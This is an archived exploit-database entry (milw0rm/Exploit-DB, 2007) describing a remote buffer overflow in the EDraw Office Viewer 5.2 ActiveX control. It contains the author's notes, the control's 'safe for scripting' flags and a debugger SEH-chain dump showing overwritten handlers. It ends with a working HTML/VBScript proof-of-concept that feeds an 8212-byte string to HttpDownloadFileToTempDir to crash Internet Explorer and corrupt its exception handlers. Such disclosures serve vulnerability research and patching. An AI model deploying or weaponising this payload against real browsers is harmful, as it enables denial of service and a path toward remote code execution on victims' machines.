EDraw Office Viewer Component 5.2 - ActiveX Remote Buffer Overflow (PoC)

EDB-ID:

4373


Author:

shinnai

Type:

dos


Platform:

Windows

Date:

2007-09-07


<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
 <b>0-day EDraw Office Viewer Component 5.2 (officeviewer.ocx v. 5.2.218.1) "HttpDownloadFileToTempDir()"
 Remote Buffer Overflow</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data
 KillBitSet: False</b>

 Even this time, shinnai is not credited for bug finding but they wrote:
 "3. Changes the Insecure Method .void HttpDownloadFile(WebUrl, LocalFile, WebUsername, WebPassword).
  to .BSTR HttpDownloadFileToTempDir(WebUrl, WebUsername, VARIANT WebPassword);
  Now the component can only download the file to .Internet temporary file directory\OA\..
  <b>So anybody can.t use the method to download a file then conver a good system file.</b>"

 mmm... sure but, guys, take a look to SEH chain and you'll find this:

 <b>SEH chain of thread 000011A0, item 0
  Address=0172F284
  SE handler=iexplore.00410041

 SEH chain of thread 000011A0, item 1
  Address=00410041
  SE handler=00844E79</b>

 do you know what I mean ;)

 P.S.
 encrease the number of buffer to see everything freezed
--------------------------------------------------------------------------------------------------------------


<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff = String(8212,"A")
  test.HttpDownloadFileToTempDir buff,"defaultV","defaultV"
 End Sub
</script>
</span>
</code></pre>

# milw0rm.com [2007-09-07]